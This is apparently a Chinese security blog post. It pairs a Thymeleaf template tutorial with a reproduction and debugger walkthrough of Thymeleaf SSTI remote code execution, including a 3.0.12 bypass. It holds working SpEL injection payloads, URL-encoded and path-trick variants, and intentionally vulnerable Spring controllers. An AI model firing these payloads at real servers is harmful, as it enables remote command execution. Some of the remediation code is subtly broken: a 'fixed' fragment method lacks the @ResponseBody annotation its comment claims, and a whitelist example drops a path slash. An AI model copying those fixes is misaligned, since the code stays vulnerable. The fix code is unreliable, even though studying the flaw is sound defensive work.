前言

Thymeleaf 是一个服务器端 Java 模板引擎,能够处理 HTML、XML、CSS、JAVASCRIPT 等模板文件。Thymeleaf 模板可以直接当作静态原型来使用,它主要目标是为开发者的开发工作流程带来优雅的自然模板,也是 Java 服务器端 HTML5 开发的理想选择。

SpringBoot 引入 Thymeleaf

导入依赖

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

配置

在 `/src/main/resources/`目录下创建 `templates`目录用于存放模版文件,接着在 `application.properties`文件中添加或修改如下配置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 开启模板缓存(默认值: true )
spring.thymeleaf.cache=true
# 检查模板是否存在,然后再呈现
spring.thymeleaf.check-template=true
# 检查模板位置是否正确(默认值 :true )
spring.thymeleaf.check-template-location=true
#Content-Type 的值(默认值: text/html )
spring.thymeleaf.content-type=text/html
# 开启 MVC Thymeleaf 视图解析(默认值: true )
spring.thymeleaf.enabled=true
# 模板编码
spring.thymeleaf.encoding=UTF-8
# 要被排除在解析之外的视图名称列表,⽤逗号分隔
spring.thymeleaf.excluded-view-names=
# 要运⽤于模板之上的模板模式。另⻅ StandardTemplate-ModeHandlers( 默认值: HTML5)
spring.thymeleaf.mode=HTML5
# 在构建 URL 时添加到视图名称前的前缀(默认值: classpath:/templates/ )
spring.thymeleaf.prefix=classpath:/templates/
# 在构建 URL 时添加到视图名称后的后缀(默认值: .html )
spring.thymeleaf.suffix=.html

创建模版文件和控制器

在 templates 目录下创建 `index.html`文件,内容如下:
1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<h1 th:text="${message}"></h1>
</body>
</html>

在 java 目录下创建 IndexController控制器,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.qwesec.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;

/**
* @author X1ongSec
* @date 2025/2/17 12:19
*/
@Controller
@RequestMapping("/index")
public class IndexController {

@GetMapping("/index")
public String index(Model model) {
model.addAttribute("message", "Hello World!");
return "index";
}

}

启动访问

访问:[http://localhost:8080/index/index](http://localhost:8080/index/index)

语法概览

简单表达式

${...}

1
2
3
4
5
6
7
@GetMapping("/standard-expression-syntax/variables")
public String variables(ModelMap model, HttpSession session) {
model.put("now", new Date());
model.put("message", "Welcome to BeiJing!");
session.setAttribute("user", new User("fanlychie", "男", 24));
... ...
}

过变量表达式<font style="background-color:rgb(238, 238, 238);">${}</font>取出上下文环境中的<font style="background-color:rgb(238, 238, 238);">message</font>变量:

1
2
<!-- Welcome to BeiJing! -->
<p th:text="${message}"></p>

它相当于:

1
ctx.getVariable("message");

*{...}

变量表达式`${}`是面向整个上下文的,而选择变量表达式`*{}`的上下文是父标签(`th:object`)所选择的对象:
1
2
3
4
5
<div th:object="${session.user}">
<p th:text="*{name}"></p>
<p th:text="*{sex}"></p>
<p th:text="*{age}"></p>
</div>

它相当于:

1
2
3
4
5
<div>
<p th:text="${session.user.name}"></p>
<p th:text="${session.user.sex}"></p>
<p th:text="${session.user.age}"></p>
</div>

如果对象没有被选择,那么,<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">*{}</font><font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">${}</font>表达式所达到的效果是完全相同的:

1
2
<p th:text="*{session.user.name}"></p>
<p th:text="${session.user.name}"></p>

@{...}

链接表达式`@{}`是专门用来处理 URL 链接地址的。

绝对地址示例:

1
2
<!-- https://fanlychie.github.io -->
<p th:text="@{https://fanlychie.github.io}"></p>

页面相对地址示例:

1
2
<!-- commons/base.html -->
<p th:text="@{commons/base.html}"></p>

上下文相对地址(相对于当前的服务)示例:

1
2
<!-- /css/mian.css -->
<p th:text="@{/css/mian.css}"></p>

服务器相对地址(相对于部署在同一个服务器中的不同服务)示例:

条件运算

三元运算符:`(if) ? (then) : (else)`
1
2
<p th:text="${user.online ? '在线' : '离线'}"></p>
<p th:text="${user.online ? (user.vip ? 'VIP用户在线' : '普通用户在线') : '离线'}"></p>

二元运算符:<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">(value) ?: (defaultValue)</font>

其中,<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">value</font>非空(null)即真,条件为真时输出<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">value</font>,否则输出<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">defaultValue</font>。假设<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">token = null</font><font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">user.email = fanlychie@gmail.com</font>

1
2
3
4
<!-- 你还没有登录,请先登录 -->
<p th:text="${token} ?: '你还没有登录,请先登录'"></p>
<!-- fanlychie@gmail.com -->
<p th:text="${user.email} ?: '你还没有绑定邮箱'"></p>

使用文本

首先介绍两个最基础的`th:*``th:text``th:utext`,它们都是用于处理文本消息内容。

th:text

在标签体中展示表达式评估结果的文本内容:
1
<p th:text="${message}"></p>

使用外部化的文本内容:

1
<p th:text="${message}">Welcome to BeiJing!</p>

当它作为静态文件直接运行时,浏览器会自动忽略它不能识别的<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">th:text</font>属性,而显示<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);"><p></font>标签体的文本内容<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">Welcome to BeiJing!</font>

当它作为模板文件运行在服务器端时,<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">th:text</font>属性的具体值将会替换<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);"><p></font>标签体的文本内容。

th:utext

属性`th:utext``th:text`的区别在于:
  • <font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">th:text</font>默认会对含有 HTML 标签的内容进行字符转义;
  • <font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">th:utext</font>(Unescaped Text)则不会对含有 HTML 标签的内容进行字符转义;

假设:<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">message = "<b>Welcome to BeiJing!</b>"</font>

使用<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">th:text</font>属性:

1
<p th:text="${message}"></p>

<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">th:text</font>效果:Welcome to BeiJing!

使用<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">th:utext</font>属性:

1
<p th:utext="${message}"></p>

<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">th:utext</font>效果:Welcome to BeiJing!

遍历

遍历(迭代)的语法`th:each="自定义的元素变量名称 : ${集合变量名称}"`
1
2
3
4
5
6
<div>
<spn>你所在城市:</spn>
<select name="mycity">
<option th:each="city : ${cities}" th:text="${city.name}"></option>
</select>
</div>

属性<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">th:each</font>提供了一个用于跟踪迭代的状态变量,它包含以下几个属性:

index int 当前迭代的索引,从 0 开始
count int 当前迭代的计数,从 1 开始
size int 集合中元素的总个数
current int 当前的元素对象
even boolean 当前迭代的计数是否是偶数
odd boolean 当前迭代的计数是否是奇数
first boolean 当前元素是否是集合的第一个元素
last boolean 当前元素是否是集合的最后一个元素

状态变量的使用语法:<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">th:each="自定义的元素变量名称, 自定义的状态变量名称 : ${集合变量名称}"</font>

1
2
3
4
5
6
<div>
<spn>所在城市:</spn>
<select name="mycity">
<option th:each="city, status : ${cities}" th:text="${city.name}" th:item-index="${status.count}"></option>
</select>
</div>

不管什么时候,Thymeleaf 始终会为每个<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">th:each</font>创建一个状态变量,默认的状态变量名称就是自定义的元素变量名称后面加<font style="color:rgb(77, 77, 76);background-color:rgb(238, 238, 238);">Stat</font>字符串组成:

1
2
3
4
5
6
<div>
<spn>所在城市:</spn>
<select name="mycity">
<option th:each="city : ${cities}" th:text="${city.name}" th:item-index="${cityStat.count}"></option>
</select>
</div>

条件判断

条件判断语句有三种,分别是:`th:if``th:unless``th:swith`

th:if

当表达式的评估结果为真时则显示内容,否则不显示:
1
<a th:href="@{/user/order(uid=${user.id})}" th:if="${user != null}">我的订单</a>

th:unless

`th:unless``th:if`判断恰好相反,当表达式的评估结果为假时则显示内容,否则不显示:
1
<a th:href="@{/user/order(uid=${user.id})}" th:unless="${user == null}">我的订单</a>

th:switch

多路选择语句,它需要搭配`th:case`来使用:
1
2
3
4
<div th:switch="${user.role}">
<p th:case="admin">管理员</p>
<p th:case="user">普通用户</p>
</div>

注释

下面介绍常见的两种注释:

标准注释

语法:``,注释的代码块会在文件源代码中显示出来。
1
2
3
4
5
6
7
8
<!-- <span>${message}</span> --->

<!--
<div th:switch="${user.role}">
<p th:case="admin">管理员</p>
<p th:case="user">普通用户</p>
</div>
--->

解析器注释

语法:``,注释的代码块会在引擎解析的时候抹去。
1
2
3
4
5
6
7
8
<!--/* <span>${message}</span> */-->

<!--/*-->
<div th:switch="${user.role}">
<p th:case="admin">管理员</p>
<p th:case="user">普通用户</p>
</div>
<!--*/-->

更多

更多教程请参考:[https://fanlychie.github.io/post/thymeleaf.html](https://fanlychie.github.io/post/thymeleaf.html)

漏洞复现

漏洞 POC 的通用范围在 **Thymeleaf 3.0.0 - 3.0.11 **之间,但在 **3.0.12** 版本也存在 bypass 执行命令的方法,请移步到 Bypass 章节。 如果依赖引入的是 `spring-boot-starter-thymeleaf`则需要具体看该 starter 封装的 Thymeleaf 版本呢,例如该 starter 封装的就是 3.0.11 存在漏洞的版本。

选择模版参数可控

模版文件参数可控,造成漏洞
1
2
3
4
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

POC:

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22).getInputStream()).next()%7d__::.x

选择片段参数可控

在 Thymeleaf 3.0 版本支持片段选择器。如果片段参数可控,则造成 RCE 漏洞。
1
2
3
4
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}

POC:

1
2
POC1: /fragment?section=main
POC2: __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22).getInputStream()).next()%7d__::.x

URL 作为视图

1
2
3
4
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}

由于该方法没有返回值,故而则会将路由地址作为模版名称进行获取渲染。

POC:

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22).getInputStream()).next()%7d__::.x

漏洞分析

debug

在分析之前我们先简单了解一下 MVC 的分发流程:

接着在模版解析处下一个断点:

接着传入 POC:

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22).getInputStream()).next()%7d__::.x

这里来到了 InvocableHandlerMethod#invokeForRequest() 方法,接着将我们传入的模版名称作为参数传给 doInvoke()方法。这里 args的内容为我们的 POC 部分。

我们跟进 doInvoke() 方法 ,来到了 ServletInvocableHandlerMethod#invokeAndHandle()方法,

接着继续往下执行,跟进到 handleReturnValue()方法 ,通过传参可以知道应该是处理返回值。

这里又调用了 handler.handlerReturnValue()方法,我们继续跟进:

该方法将模版名称转为字符串赋值给 viewName

同时匹配模版名称中是否带有以 redirect:开头。这里我们的 POC 不以该值开头,故而不会走 if 里面的。

继续往下走,这里来到了 DispatcherServlet#doDispatch()方法,调用了 processDispatchResult()方法,我们跟进该方法

接着来到 DispatcherServlet#render()方法,跟进该方法

这里开始调用模版引擎对视频进行解析了,跟进该方法:

发现这里调用了 ThymeleafView#renderFragment()方法,此时可以发现 Spring 已经开始调用相应的模版引擎进行解析。我们跟进该方法:

继续往下走,如果我们的模版名称包含 ::则执行 parser.parseExpression()解析表达式。

这里 ::是什么呢?我们简单介绍一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

文本表达式:
th:text="${...}":用于设置元素的文本内容。
属性表达式:
th:attr="attr-name=${...}":用于设置元素的属性值。
条件表达式:
th:if="${...}":如果条件为真,则显示元素。
th:unless="${...}":如果条件为假,则显示元素。
循环表达式:
th:each="item : ${...}":用于遍历集合。
URL 表达式:
th:href="@{/path/to/resource}":用于生成 URL。
内联表达式:
[[${...}]]:用于在文本中嵌入变量。
片段插入:
th:insert="~{template :: fragment}":插入另一个模板中的片段。
th:include="~{template :: fragment}":包含另一个模板中的片段。

那么综上,我们可以得知,片段插入存在 ::,我们的 POC 也存在 ::故而会调用 parser.parseExpression()解析表达式。

同时这里还为我们的模版名称前后添加 ~{ TemplateName },我们跟进该方法:

除了验证 contextinput值不为 null以外,还执行了 parseExprssion()方法,并将我们的模版名称(POC)传入。继续跟进:

这里调用了 StandardExpressionParser#preprocess()方法对 SPEL 表达式进行解析。跟进该方法:

这里使用了两个 if,第一个匹配了我们传入的 POC 必须带有 chr 类型的 95,即 _,第二个 if匹配我们的 POC 中 __ 内容 __也就是两个两个下划线中间的内容。

接着往下走,previousText内容的获取依据:

expressionText则是我们正则匹配到内容。接着调用 parseExpression()函数进行解析,我们跟进该方法。

接着我们跟进 expression.execute()方法,这里调用了 execute() 才是真正执行 Spel 表达式的地方。

后续就不分析了。

总结

原生POC:
1
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}__::.x

经过模版路径的拼接:

1
user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}__::.x/welcome

由于存在 ::片段选择器语法,因此在前后加了符合,变成: ~{POC},如下;

1
~{user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}__::.x/welcome}

最后经过正则 \\_\\_(.*?)\\_\\_匹配(匹配开头双下划线末尾双下划线中间的内容)变成了:

1
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}__

可以说就是 Thymeleaf 在处理 controller 返回的 templatename 时,如果检测到其中包含 :: 则会认为其是一个片段表达式会对其加上 ~{} 进行解析,在解析之前会对该表达式预处理,该过程中通过正则取出两个横线之间的内容(如果没有就不预处理,直接 return )即 __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}__ 。然后调用标准解析器对其进行解析,因为最终是一个 Spel 表达式,所以导致 spel 命令执行。将该执行结果替换到 templatename 上,所以最终 templatename 变为了 ~{user/命令执行结果 \rerce::.x/welcome},然后再进行片段表达式解析,::前面的为模板名但又因为找不到 ~{user/命令执行结果 \rerce::.x/welcome}这个模板,所以最终会以报错的方式将命令结果回显回来。

这里把命令换成 whoami之后的结果:

3.0.12 Bypass

前言

在 Thymeleaf 3.0.12 版本也可以通过 Bypass 绕过限制,执行命令。[作者提交的 ISSUE](https://github.com/thymeleaf/thymeleaf/issues/828)

POC:

1
__${T    (java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x

环境搭建

以下环境基于 SpringBoot 搭建,引入 Thymeleaf 3.0.12 版本的依赖:
1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf</artifactId>
<version>3.0.12.RELEASE</version>
</dependency>
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId> <!-- Spring Boot 2.x 使用 Spring 5 -->
<version>3.0.12.RELEASE</version>
</dependency>

漏洞复现

URL 编码之后的 POC:
1
__%24%7BT%20%20%20%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)%7D__%3A%3A.x

路径拼接 Bypass

经过测试发现路径拼接的漏洞场景不适用于该 POC。但是有三梦师傅给了解决思路!
1
http://localhost:8090/doc;/__%24%7BT%20%20%20%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)%7D__%3A%3A.x

POC1:经过测试只能在最后一个路径后添加 ;/PAYLOAD即可。

1
http://localhost:8090/doc;/__%24%7BT%20%20%20%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)%7D__%3A%3A.x

当然还有其他思路:

POC2:经过测试在任意路径下添加 //即可。

1
http://localhost:8090/doc//__%24%7BT%20%20%20%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)%7D__%3A%3A.x

具体参考:https://www.cnpanda.net/sec/1063.html

漏洞修复

+ 针对选择选择模版参数可控应采用白名单形式,例如仅允许渲染 en、zh 等模版,禁止渲染其他模版。 + 针对 URL 作为视图场景,建议为控制器方法添加 `HttpServletResponse`参数,spring 认为它已经处理了 Http Response,因此不会发生视图名称渲染。 + 添加 `@ResponseBody`注解,注解告诉 Spring 将返回值作为响应体处理,而不再是视图名称,因此无法进行模版注入攻击。 + 使用 Model 传递变量

示例代码:选择模版场景

1
2
3
4
5
6
7
8
9
10
11
public String thymeleafSafe(@RequestParam String lang) {
List<String> white_list = new ArrayList<String>();
white_list.add("en");
white_list.add("zh");

if (white_list.contains(lang)){
return "lang/" + lang;
} else{
return "commons/401";
}
}

示例代码:片段选择器场景

1
2
3
4
5
6
7
8

/**
* 设置 @ResponseBody 注解告诉 Spring 将返回值作为响应体处理,而不再是视图名称,因此无法进行模版注入攻击
*/
@GetMapping("/thymeleaf/fragment/vul")
public String fragmentVul(@RequestParam String section) {
return "lang/en :: " + section;
}

示例代码:URL 作为视图名称

1
2
3
4
5
@GetMapping("/doc/safe/{document}")
// 添加 HttpServletResponse 参数
public void getDocument(@PathVariable String document, HttpServletResponse response) {
System.out.println(document);
}

示例代码:白名单机制适用于多种场景

1
2
3
4
5
6
7
8
9
10
@GetMapping("/safe")
public String fragmentSafe(@RequestParam String lang, Model model) {
List<String> allowedSections = List.of("en", "zh");

if (!allowedSections.contains(lang)) {
return "error/403"; // 安全返回
}

return "lang" + lang ; // 返回主模板
}

参考

https://blog.csdn.net/m0_71692682/article/details/130538310

https://blog.csdn.net/weixin_43263451/article/details/126543803

https://www.anquanke.com/post/id/254519

https://xz.aliyun.com/news/8161

https://xz.aliyun.com/news/9281

https://mp.weixin.qq.com/s/LvzahtrIu7ESL0FwrwxEEA

https://github.com/thymeleaf/thymeleaf/issues/828

https://www.cnpanda.net/sec/1063.html